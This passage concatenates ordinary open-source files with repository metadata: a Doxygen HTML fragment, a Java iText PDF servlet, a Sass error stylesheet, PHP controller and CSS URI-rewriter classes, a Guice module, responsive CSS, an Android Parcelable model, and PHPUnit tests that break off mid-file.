href="classtops_1_1GeneralizedHiddenMarkovModel.html#abe8fc6da1ca28a2d078fef4022162513">str</a> () const </td></tr> <tr class="memdesc:abe8fc6da1ca28a2d078fef4022162513"><td class="mdescLeft">&#160;</td><td class="mdescRight">returns the string representation of the model <br/></td></tr> </table> <hr/><a name="details" id="details"></a><h2>Detailed Description</h2> <div class="textblock"><p>This is a class representing Hidden semi-Markov Models. </p> <p>Definition at line <a class="el" href="../../d3/ddd/GeneralizedHiddenMarkovModel_8hpp_source.html#l00045">45</a> of file <a class="el" href="../../d3/ddd/GeneralizedHiddenMarkovModel_8hpp_source.html">GeneralizedHiddenMarkovModel.hpp</a>.</p> </div><hr/>The documentation for this class was generated from the following files:<ul> <li><a class="el" href="../../d3/ddd/GeneralizedHiddenMarkovModel_8hpp_source.html">GeneralizedHiddenMarkovModel.hpp</a></li> <li><a class="el" href="../../d1/da2/GeneralizedHiddenMarkovModel_8cpp_source.html">GeneralizedHiddenMarkovModel.cpp</a></li> </ul> </div><!-- contents --> <hr class="footer"/><address class="footer"><small> Generated on Thu Jun 28 2012 14:40:27 for ToPS by &#160;<a href="http://www.doxygen.org/index.html"> <img class="footer" src="../../doxygen.png" alt="doxygen"/> </a> 1.8.0 </small></address> </body> </html>
topsframework/topsframework.github.io
doc/html/df/db2/classtops_1_1GeneralizedHiddenMarkovModel.html
HTML
gpl-2.0
11,528
package org.mo.game.editor.face.apl.logic.form; import com.lowagie.text.Document; import com.lowagie.text.DocumentException; import com.lowagie.text.Element; import com.lowagie.text.Font; import com.lowagie.text.HeaderFooter; import com.lowagie.text.PageSize; import com.lowagie.text.Paragraph; import com.lowagie.text.Phrase; import com.lowagie.text.Rectangle; import com.lowagie.text.pdf.BaseFont; import com.lowagie.text.pdf.PdfPTable; import com.lowagie.text.pdf.PdfWriter; import java.awt.Color; import java.io.ByteArrayOutputStream; import java.io.IOException; import org.mo.com.lang.FFatalError; import org.mo.com.lang.RString; import org.mo.com.logging.ILogger; import org.mo.com.logging.RLogger; import org.mo.com.validator.RStringValidator; import org.mo.com.xml.FXmlNode; import org.mo.com.xml.IXmlObject; import org.mo.core.aop.face.ALink; import org.mo.eng.data.common.ISqlContext; import org.mo.web.core.servlet.common.IWebServletResponse; import org.mo.web.core.webform.FWebFormDatasetArgs; import org.mo.web.core.webform.IWebFormConsole; import org.mo.web.core.webform.IWebFormDatasetConsole; import org.mo.web.protocol.context.IWebContext; public class FWebFormPdfServlet implements IWebFormPdfServlet{ private static ILogger _logger = RLogger.find(FWebFormPdfServlet.class); public static byte[] creatPdf(FXmlNode dsNode, IXmlObject formNode){ // 创建一个Document对象 Rectangle rectPageSize = new Rectangle(PageSize.A4);// 定义A4页面大小 rectPageSize = rectPageSize.rotate();// 实现A4页面的横置 Document document = new Document(rectPageSize, 50, 30, 30, 30);// 4个参数, ByteArrayOutputStream buffer = new ByteArrayOutputStream(); // 设置了页面的4个边距 try{ // 生成名为 HelloWorld.pdf 的文档 PdfWriter.getInstance(document, buffer); BaseFont bfChinese; try{ bfChinese = BaseFont.createFont("STSongStd-Light", "UniGB-UCS2-H", false); }catch(IOException e){ throw new FFatalError(e); } Font fontChinese = new Font(bfChinese, 12, Font.NORMAL, Color.red); document.open(); // 插入一个段落 //获得模块名称 Paragraph par = new Paragraph(formNode.innerGet("label"), fontChinese); document.add(par); int tableColumns = formNode.children().count(); // 定义表格填充内容 PdfPTable datatable = new PdfPTable(tableColumns); // 创建新表. // int headerwidths[] = { 9, 4, 8, 10, 8, 7 }; // percentage 定义表格头宽度 // datatable.setWidths(headerwidths); datatable.setWidthPercentage(100); // 设置表头的高度 datatable.getDefaultCell().setPadding(2); // 设置表头的粗细线条 datatable.getDefaultCell().setBorderWidth(1); datatable.getDefaultCell().setGrayFill(0.8f); datatable.getDefaultCell().setHorizontalAlignment(Element.ALIGN_CENTER); // 以下是填充表头 for(int i = 0; i < tableColumns; i++){ datatable.addCell(new Phrase(formNode.children().get(i).innerGet("label"), fontChinese)); } datatable.setHeaderRows(1); // 结束表格的头部 // 设置页码 HeaderFooter footer = new HeaderFooter(new Phrase("页码:", fontChinese), true); footer.setBorder(Rectangle.NO_BORDER); document.setFooter(footer); // 结束页码的设置 //设置表格颜色参数 int i = 1; datatable.getDefaultCell().setBorderWidth(1); for(FXmlNode row : dsNode.nodes()){ if(i % 2 == 1){ // 设置表格颜色 datatable.getDefaultCell().setGrayFill(1.0f); } //根据数据列项,依次取出该列所对应的值 for(int x = 0; x < tableColumns; x++){ String columnName = formNode.children().get(x).innerGet("data_name"); datatable.addCell(new Phrase(row.get(columnName), fontChinese)); } if(i % 2 == 1){ // 设置表格颜色 datatable.getDefaultCell().setGrayFill(0.9f); } i++; } document.add(datatable);// 加载新表 }catch(DocumentException de){ de.printStackTrace(); System.err.println("document: " + de.getMessage()); }finally{ document.close(); } return buffer.toByteArray(); } @ALink protected IWebFormConsole _webformConsole; @ALink IWebFormDatasetConsole _webFormDataConsole; @Override public void build(IWebContext context, ISqlContext sqlContext, IWebServletResponse response){ String formName = context.parameter("form_name"); RStringValidator.checkEmpty(formName, "form_name"); IXmlObject xform = findForm(formName); // 查找数据集 FWebFormDatasetArgs args = new FWebFormDatasetArgs(context, sqlContext); args.setPageSize(-1); xform.children().get(0).innerGet("label"); args.setForm(xform); FXmlNode dsNode = _webFormDataConsole.fetchNode(args); // 生成PDF文件 byte[] bytes = creatPdf(dsNode, xform); _logger.debug(this, "build", "Make form pdf file. (form={0}, pdf size={1})", xform.name(), bytes.length); response.write(bytes); } public IXmlObject findForm(String formName){ IXmlObject xform = null; if(RString.isNotEmpty(formName)){ xform = _webformConsole.find(formName); if(null == xform){ throw new FFatalError("Show form is null. (name={0})", formName); } } return xform; } }
favedit/MoPlatform
mo-gm-develop/src/editor-face/org/mo/game/editor/face/apl/logic/form/FWebFormPdfServlet.java
Java
gpl-2.0
5,836
/* Syntax error: File to import not found or unreadable: zen. Load paths: /Applications/MAMP/htdocs/kwealth/sites/all/themes/frodo/sass /Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/frameworks/compass/stylesheets Compass::SpriteImporter on line 98 of /Applications/MAMP/htdocs/kwealth/sites/all/themes/frodo/sass/_base.scss from line 12 of /Applications/MAMP/htdocs/kwealth/sites/all/themes/frodo/sass/layouts/responsive-sidebars.scss from line 11 of /Applications/MAMP/htdocs/kwealth/sites/all/themes/frodo/sass/layouts/responsive-sidebars-rtl.scss Backtrace: /Applications/MAMP/htdocs/kwealth/sites/all/themes/frodo/sass/_base.scss:98 /Applications/MAMP/htdocs/kwealth/sites/all/themes/frodo/sass/layouts/responsive-sidebars.scss:12 /Applications/MAMP/htdocs/kwealth/sites/all/themes/frodo/sass/layouts/responsive-sidebars-rtl.scss:11 /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/import_node.rb:67:in `import' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/import_node.rb:28:in `imported_file' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/import_node.rb:37:in `css_import?' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:217:in `visit_import' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/base.rb:37:in `send' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/base.rb:37:in `visit' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:100:in `visit' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:227:in `visit_import' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:227:in `map' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:227:in `visit_import' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/base.rb:37:in `send' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/base.rb:37:in `visit' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:100:in `visit' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:227:in `visit_import' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:227:in `map' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:227:in `visit_import' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/base.rb:37:in `send' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/base.rb:37:in `visit' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:100:in `visit' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/base.rb:53:in `visit_children' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/base.rb:53:in `map' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/base.rb:53:in `visit_children' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:109:in `visit_children' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:121:in `with_environment' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:108:in `visit_children' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/base.rb:37:in `visit' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:128:in `visit_root' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/base.rb:37:in `send' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/base.rb:37:in `visit' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:100:in `visit' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:7:in `send' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:7:in `visit' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/root_node.rb:20:in `render' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/engine.rb:315:in `_render' /Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/engine.rb:262:in `render' /Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/compiler.rb:146:in `compile' /Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/compiler.rb:132:in `timed' /Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/compiler.rb:145:in `compile' /Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/logger.rb:46:in `red' /Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/compiler.rb:144:in `compile' /Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/compiler.rb:124:in `compile_if_required' /Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/compiler.rb:109:in `run' /Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/compiler.rb:107:in `each' /Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/compiler.rb:107:in `run' /Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/compiler.rb:132:in `timed' /Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/compiler.rb:106:in `run' /Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/commands/update_project.rb:45:in `perform' /Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/commands/base.rb:18:in `execute' /Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/commands/project_base.rb:19:in `execute' /Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/exec/sub_command_ui.rb:43:in `perform!' /Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/exec/sub_command_ui.rb:15:in `run!' /Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/bin/compass:30 /Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/bin/compass:44:in `call' /Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/bin/compass:44 /usr/bin/compass:19:in `load' /usr/bin/compass:19 */ body:before { white-space: pre; font-family: monospace; content: "Syntax error: File to import not found or unreadable: zen.\A Load paths:\A /Applications/MAMP/htdocs/kwealth/sites/all/themes/frodo/sass\A /Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/frameworks/compass/stylesheets\A Compass::SpriteImporter\A on line 98 of /Applications/MAMP/htdocs/kwealth/sites/all/themes/frodo/sass/_base.scss\A from line 12 of /Applications/MAMP/htdocs/kwealth/sites/all/themes/frodo/sass/layouts/responsive-sidebars.scss\A from line 11 of /Applications/MAMP/htdocs/kwealth/sites/all/themes/frodo/sass/layouts/responsive-sidebars-rtl.scss"; }
mooru/kwealth
sites/all/themes/frodo/sass/layouts/responsive-sidebars-rtl.css
CSS
gpl-2.0
6,729
<?php # Lifter007: TODO # Lifter003: TODO # Lifter010: TODO /* * Copyright (C) 2009 - Marcus Lunzenauer <[email protected]> * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of * the License, or (at your option) any later version. */ require_once 'studip_controller.php'; abstract class AuthenticatedController extends StudipController { /** * Callback function being called before an action is executed. If this * function does not return FALSE, the action will be called, otherwise * an error will be generated and processing will be aborted. If this function * already #rendered or #redirected, further processing of the action is * withheld. * * @param string Name of the action to perform. * @param array An array of arguments to the action. * * @return bool */ function before_filter(&$action, &$args) { parent::before_filter($action, $args); # open session page_open(array('sess' => 'Seminar_Session', 'auth' => 'Seminar_Auth', 'perm' => 'Seminar_Perm', 'user' => 'Seminar_User')); // show login-screen, if authentication is "nobody" $GLOBALS['auth']->login_if($GLOBALS['auth']->auth['uid'] == 'nobody'); $this->flash = Trails_Flash::instance(); // set up user session include 'lib/seminar_open.php'; # Set base layout # # If your controller needs another layout, overwrite your controller's # before filter: # # class YourController extends AuthenticatedController { # function before_filter(&$action, &$args) { # parent::before_filter($action, $args); # $this->set_layout("your_layout"); # } # } # # or unset layout by sending: # # $this->set_layout(NULL) # $this->set_layout($GLOBALS['template_factory']->open('layouts/base')); } /** * Callback function being called after an action is executed. * * @param string Name of the action to perform. * @param array An array of arguments to the action. * * @return void */ function after_filter($action, $args) { page_close(); } }
ipf/studip
app/controllers/authenticated_controller.php
PHP
gpl-2.0
2,304
/** * * Copyright (c) 2009-2016 Freedomotic team http://freedomotic.com * * This file is part of Freedomotic * * This Program is free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation; either version 2, or (at your option) any later version. * * This Program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * Freedomotic; see the file COPYING. If not, see * <http://www.gnu.org/licenses/>. */ package com.freedomotic.api; import com.google.inject.AbstractModule; import com.google.inject.Singleton; /** * * @author Enrico Nicoletti */ public class InjectorApi extends AbstractModule { @Override protected void configure() { bind(API.class).to(APIStandardImpl.class).in(Singleton.class); } }
abollaert/freedomotic
framework/freedomotic-core/src/main/java/com/freedomotic/api/InjectorApi.java
Java
gpl-2.0
1,096
<?php /** * @package Zen Library * @subpackage Zen Library * @author Joomla Bamboo - [email protected] * @copyright Copyright (c) 2013 Joomla Bamboo. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt * @version 1.0.2 */ /* * Adapted from Minify_CSS_UriRewriter class by Stephen Clay <[email protected]> */ // no direct access defined('_JEXEC') or die('Restricted access'); class ZenUriRewriter { /** * Defines which class to call as part of callbacks, change this * if you extend Minify_CSS_UriRewriter * @var string */ protected static $className = 'ZenUriRewriter'; /** * rewrite() and rewriteRelative() append debugging information here * @var string */ public static $debugText = ''; /** * Rewrite file relative URIs as root relative in CSS files * * @param string $css * * @param string $currentDir The directory of the current CSS file. * * @param string $docRoot The document root of the web site in which * the CSS file resides (default = $_SERVER['DOCUMENT_ROOT']). * * @param array $symlinks (default = array()) If the CSS file is stored in * a symlink-ed directory, provide an array of link paths to * target paths, where the link paths are within the document root. Because * paths need to be normalized for this to work, use "//" to substitute * the doc root in the link paths (the array keys). E.g.: * <code> * array('//symlink' => '/real/target/path') // unix * array('//static' => 'D:\\staticStorage') // Windows * </code> * * @return string */ public static function rewrite($css, $currentDir, $docRoot = null, $symlinks = array()) { self::$_docRoot = self::_realpath( $docRoot ? $docRoot : $_SERVER['DOCUMENT_ROOT'] ); self::$_currentDir = self::_realpath($currentDir); self::$_symlinks = array(); // normalize symlinks foreach ($symlinks as $link => $target) { $link = ($link === '//') ? self::$_docRoot : str_replace('//', self::$_docRoot . '/', $link); $link = strtr($link, '/', DIRECTORY_SEPARATOR); self::$_symlinks[$link] = self::_realpath($target); } self::$debugText .= "docRoot : " . self::$_docRoot . "\n" . "currentDir : " . self::$_currentDir . "\n"; if (self::$_symlinks) { self::$debugText .= "symlinks : " . var_export(self::$_symlinks, 1) . "\n"; } self::$debugText .= "\n"; $css = self::_trimUrls($css); // rewrite $css = preg_replace_callback('/@import\\s+([\'"])(.*?)[\'"]/' , array(self::$className, '_processUriCB'), $css); $css = preg_replace_callback('/url\\(\\s*([^\\)\\s]+)\\s*\\)/' , array(self::$className, '_processUriCB'), $css); return $css; } /** * Prepend a path to relative URIs in CSS files * * @param string $css * * @param string $path The path to prepend. * * @return string */ public static function prepend($css, $path) { self::$_prependPath = $path; $css = self::_trimUrls($css); // append $css = preg_replace_callback('/@import\\s+([\'"])(.*?)[\'"]/' , array(self::$className, '_processUriCB'), $css); $css = preg_replace_callback('/url\\(\\s*([^\\)\\s]+)\\s*\\)/' , array(self::$className, '_processUriCB'), $css); self::$_prependPath = null; return $css; } /** * @var string directory of this stylesheet */ private static $_currentDir = ''; /** * @var string DOC_ROOT */ private static $_docRoot = ''; /** * @var array directory replacements to map symlink targets back to their * source (within the document root) E.g. '/var/www/symlink' => '/var/realpath' */ private static $_symlinks = array(); /** * @var string path to prepend */ private static $_prependPath = null; private static function _trimUrls($css) { return preg_replace('/ url\\( # url( \\s* ([^\\)]+?) # 1 = URI (assuming does not contain ")") \\s* \\) #) /x', 'url($1)', $css); } private static function _processUriCB($m) { // $m matched either '/@import\\s+([\'"])(.*?)[\'"]/' or '/url\\(\\s*([^\\)\\s]+)\\s*\\)/' $isImport = ($m[0][0] === '@'); // determine URI and the quote character (if any) if ($isImport) { $quoteChar = $m[1]; $uri = $m[2]; } else { // $m[1] is either quoted or not $quoteChar = ($m[1][0] === "'" || $m[1][0] === '"') ? $m[1][0] : ''; $uri = ($quoteChar === '') ? $m[1] : substr($m[1], 1, strlen($m[1]) - 2); } // analyze URI if ('/' !== $uri[0] // root-relative && false === strpos($uri, '//') // protocol (non-data) && 0 !== strpos($uri, 'data:') // data protocol ) { // URI is file-relative: rewrite depending on options $uri = (self::$_prependPath !== null) ? (self::$_prependPath . $uri) : self::rewriteRelative($uri, self::$_currentDir, self::$_docRoot, self::$_symlinks); } return $isImport ? "@import {$quoteChar}{$uri}{$quoteChar}" : "url({$quoteChar}{$uri}{$quoteChar})"; } /** * Rewrite a file relative URI as root relative * * <code> * Minify_CSS_UriRewriter::rewriteRelative( * '../img/hello.gif' * , '/home/user/www/css' // path of CSS file * , '/home/user/www' // doc root *); * // returns '/img/hello.gif' * * // example where static files are stored in a symlinked directory * Minify_CSS_UriRewriter::rewriteRelative( * 'hello.gif' * , '/var/staticFiles/theme' * , '/home/user/www' * , array('/home/user/www/static' => '/var/staticFiles') *); * // returns '/static/theme/hello.gif' * </code> * * @param string $uri file relative URI * * @param string $realCurrentDir realpath of the current file's directory. * * @param string $realDocRoot realpath of the site document root. * * @param array $symlinks (default = array()) If the file is stored in * a symlink-ed directory, provide an array of link paths to * real target paths, where the link paths "appear" to be within the document * root. E.g.: * <code> * array('/home/foo/www/not/real/path' => '/real/target/path') // unix * array('C:\\htdocs\\not\\real' => 'D:\\real\\target\\path') // Windows * </code> * * @return string */ public static function rewriteRelative($uri, $realCurrentDir, $realDocRoot, $symlinks = array()) { // prepend path with current dir separator (OS-independent) $path = strtr($realCurrentDir, '/', DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . strtr($uri, '/', DIRECTORY_SEPARATOR); self::$debugText .= "file-relative URI : {$uri}\n" . "path prepended : {$path}\n"; // "unresolve" a symlink back to doc root foreach ($symlinks as $link => $target) { if (0 === strpos($path, $target)) { // replace $target with $link $path = $link . substr($path, strlen($target)); self::$debugText .= "symlink unresolved : {$path}\n"; break; } } // strip doc root $path = substr($path, strlen($realDocRoot)); self::$debugText .= "docroot stripped : {$path}\n"; // fix to root-relative URI $uri = strtr($path, '/\\', '//'); // remove /./ and /../ where possible $uri = str_replace('/./', '/', $uri); // inspired by patch from Oleg Cherniy do { $uri = preg_replace('@/[^/]+/\\.\\./@', '/', $uri, 1, $changed); } while ($changed); self::$debugText .= "traversals removed : {$uri}\n\n"; return $uri; } /** * Get realpath with any trailing slash removed. If realpath() fails, * just remove the trailing slash. * * @param string $path * * @return mixed path with no trailing slash */ protected static function _realpath($path) { $realPath = realpath($path); if ($realPath !== false) { $path = $realPath; } return rtrim($path, '/\\'); } }
fenix20113/homework3
libraries/zen/uri/rewriter.php
PHP
gpl-2.0
7,740
@media only screen and (max-width: 1000px){ .subtitle{ font-size: 19.2px; } } @media only screen and (min-width: 600px) and (max-width: 768px){ .title h1{ font-size:47.6px; } .title h1{ font-size:46.2px; } .content h2{ font-size:32.2px; } .subtitle{ font-size: 19.2px; } } @media only screen and (min-width: 480px) and (max-width: 768px){ section.parallax_section_holder{ height: auto !important; min-height: 400px !important; } } @media only screen and (max-width: 600px){ .title h1{ font-size:34px; } .title h1{ font-size:33px; } .content h2{ font-size:23px; } } @media only screen and (max-width: 480px){ section.parallax_section_holder{ height: auto !important; min-height: 400px !important; } }
PelleRylander/Omada
wp-content/themes/bodega/css/style_dynamic_responsive.css
CSS
gpl-2.0
837
package com.lonebytesoft.thetaleclient.api.model; import android.os.Parcel; import android.os.Parcelable; import com.lonebytesoft.thetaleclient.api.dictionary.CompanionSpecies; import com.lonebytesoft.thetaleclient.util.ObjectUtils; import org.json.JSONException; import org.json.JSONObject; /** * @author Hamster * @since 17.02.2015 */ public class CompanionInfo implements Parcelable { public final CompanionSpecies species; public final String name; public final int healthCurrent; public final int healthMax; public final int coherence; public final int experienceCurrent; public final int experienceForNextLevel; public CompanionInfo(final JSONObject json) throws JSONException { species = ObjectUtils.getEnumForCode(CompanionSpecies.class, json.getInt("type")); name = json.getString("name"); healthCurrent = json.getInt("health"); healthMax = json.getInt("max_health"); coherence = json.getInt("coherence"); experienceCurrent = json.getInt("experience"); experienceForNextLevel = json.getInt("experience_to_level"); } // parcelable stuff private CompanionInfo(final Parcel in) { final int index = in.readInt(); species = index == -1 ? null : CompanionSpecies.values()[index]; name = in.readString(); healthCurrent = in.readInt(); healthMax = in.readInt(); coherence = in.readInt(); experienceCurrent = in.readInt(); experienceForNextLevel = in.readInt(); } @Override public int describeContents() { return 0; } @Override public void writeToParcel(Parcel out, int flags) { out.writeInt(species == null ? -1 : species.ordinal()); out.writeString(name); out.writeInt(healthCurrent); out.writeInt(healthMax); out.writeInt(coherence); out.writeInt(experienceCurrent); out.writeInt(experienceForNextLevel); } public static final Parcelable.Creator<CompanionInfo> CREATOR = new Parcelable.Creator<CompanionInfo>() { @Override public CompanionInfo createFromParcel(Parcel source) { return new CompanionInfo(source); } @Override public CompanionInfo[] newArray(int size) { return new CompanionInfo[size]; } }; }
hamsterxc/TheTaleClient
app/src/main/java/com/lonebytesoft/thetaleclient/api/model/CompanionInfo.java
Java
gpl-2.0
2,364
<?php class TestArcadiaCommon extends PHPUnit_Framework_TestCase { /** * @covers ArcadiaCommon::__construct */ public function test_common_constructor() { $component = new ArcadiaCommon(); $this->assertTrue( isset( $component->game_nonce_life ) ); } /** * @covers ArcadiaCommon::__construct */ public function test_common_constructor_nonce_life_set() { global $ag; $component = new ArcadiaCommon( $ag_obj = $ag, $nonce_life = 30 ); $this->assertEquals( 30, $component->game_nonce_life ); } /** * @covers ArcadiaCommon::get_array_if_set */ public function test_get_array_if_set_empty_default() { $component = new ArcadiaCommon(); $array = array(); $ret_val = $component->get_array_if_set( $array, 'test', -1 ); $this->assertEquals( $ret_val, -1 ); } /** * @covers ArcadiaCommon::get_array_if_set */ public function test_get_array_if_set_non_array_parameter() { $component = new ArcadiaCommon(); $array = FALSE; $ret_val = $component->get_array_if_set( $array, 'test', -1 ); $this->assertEquals( $ret_val, -1 ); } /** * @covers ArcadiaCommon::get_array_if_set */ public function test_get_array_if_set_correct() { $component = new ArcadiaCommon(); $k = 'test'; $v = -1; $array = array( $k => $v ); $ret_val = $component->get_array_if_set( $array, $k, $v ); $this->assertEquals( $ret_val, $v ); } /** * @covers ArcadiaCommon::get_bit */ public function test_get_bit_zero() { $component = new ArcadiaCommon(); $val = 0; $this->assertEquals( FALSE, $component->get_bit( $val, 0 ) ); } /** * @covers ArcadiaCommon::get_bit */ public function test_get_bit_one() { $component = new ArcadiaCommon(); $val = 1; $this->assertEquals( TRUE, $component->get_bit( $val, 0 ) ); } /** * @covers ArcadiaCommon::set_bit */ public function test_set_bit_zero() { $component = new ArcadiaCommon(); $this->assertEquals( 1, $component->set_bit( 0, 0 ) ); } /** * @covers ArcadiaCommon::set_bit */ public function test_set_bit_one() { $component = new ArcadiaCommon(); $this->assertEquals( 2, $component->set_bit( 0, 1 ) ); } /** * @covers ArcadiaCommon::set_bit */ public function test_set_bit_two() { $component = new ArcadiaCommon(); $this->assertEquals( 4, $component->set_bit( 0, 2 ) ); } /** * @covers ArcadiaCommon::set_bit */ public function test_set_bit_negative() { $component = new ArcadiaCommon(); $this->assertEquals( 0, $component->set_bit( 0, -1 ) ); } /** * @covers ArcadiaCommon::bit_count */ public function test_bit_count_zero() { $component = new ArcadiaCommon(); $this->assertEquals( 0, $component->bit_count( 0 ) ); } /** * @covers ArcadiaCommon::bit_count */ public function test_bit_count_one() { $component = new ArcadiaCommon(); $this->assertEquals( 1, $component->bit_count( 1 ) ); } /** * @covers ArcadiaCommon::bit_count */ public function test_bit_count_ten() { $component = new ArcadiaCommon(); $this->assertEquals( 10, $component->bit_count( 1023 ) ); } /** * @covers ArcadiaCommon::random_string */ public function test_random_string_length_zero() { $component = new ArcadiaCommon(); $n = 0; $st = $component->random_string( $n ); $this->assertEquals( $n, strlen( $st ) ); } /** * @covers ArcadiaCommon::random_string */ public function test_random_string_length() { $component = new ArcadiaCommon(); $n = 10; $st = $component->random_string( $n ); $this->assertEquals( $n, strlen( $st ) ); } /** * @covers ArcadiaCommon::nonce_tick */ public function test_nonce_tick_gt_zero() { $component = new ArcadiaCommon(); $nonce_tick = $component->nonce_tick(); $this->assertGreaterThan( 0, $nonce_tick ); } /** * @covers ArcadiaCommon::nonce_verify */ public function test_nonce_verify_no_char() { $component = new ArcadiaCommon(); $result = $component->nonce_verify( '' ); $this->assertFalse( $result ); } /** * @covers ArcadiaCommon::nonce_verify */ public function test_nonce_verify_char_invalid_nonce() { global $ag; $ag->char = array( 'id' => 1 ); $component = new ArcadiaCommon(); $result = $component->nonce_verify( '' ); $ag->char = FALSE; $this->assertFalse( $result ); } /** * @covers ArcadiaCommon::nonce_verify */ public function test_nonce_verify_char_valid_nonce() { global $ag; $ag->char = array( 'id' => 1 ); $component = new ArcadiaCommon(); $nonce = $component->nonce_create(); $result = $component->nonce_verify( $nonce ); $ag->char = FALSE; $this->assertTrue( $result ); } /** * @covers ArcadiaCommon::nonce_verify */ public function test_nonce_verify_char_valid_nonce_in_past() { global $ag; $ag->char = array( 'id' => 1 ); $component = new ArcadiaCommon(); $nonce = $component->nonce_create( $state = -1, $time = time() - $component->game_nonce_life / 2 ); $result = $component->nonce_verify( $nonce ); $ag->char = FALSE; $this->assertTrue( $result ); } /** * @covers ArcadiaCommon::nonce_create */ public function test_nonce_create_no_char() { $component = new ArcadiaCommon(); $nonce = $component->nonce_create(); $this->assertFalse( $nonce ); } /** * @covers ArcadiaCommon::nonce_create */ public function test_nonce_create_basic() { global $ag; $ag->char = array( 'id' => 1 ); $component = new ArcadiaCommon(); $nonce = $component->nonce_create(); $ag->char = FALSE; $this->assertNotFalse( $nonce ); } /** * @covers ArcadiaCommon::number_with_suffix */ public function test_number_with_suffix_zero() { $component = new ArcadiaCommon(); $this->assertEquals( '0th', $component->number_with_suffix( 0 ) ); } /** * @covers ArcadiaCommon::number_with_suffix */ public function test_number_with_suffix_one() { $component = new ArcadiaCommon(); $this->assertEquals( '1st', $component->number_with_suffix( 1 ) ); } /** * @covers ArcadiaCommon::number_with_suffix */ public function test_number_with_suffix_two() { $component = new ArcadiaCommon(); $this->assertEquals( '2nd', $component->number_with_suffix( 2 ) ); } /** * @covers ArcadiaCommon::number_with_suffix */ public function test_number_with_suffix_three() { $component = new ArcadiaCommon(); $this->assertEquals( '3rd', $component->number_with_suffix( 3 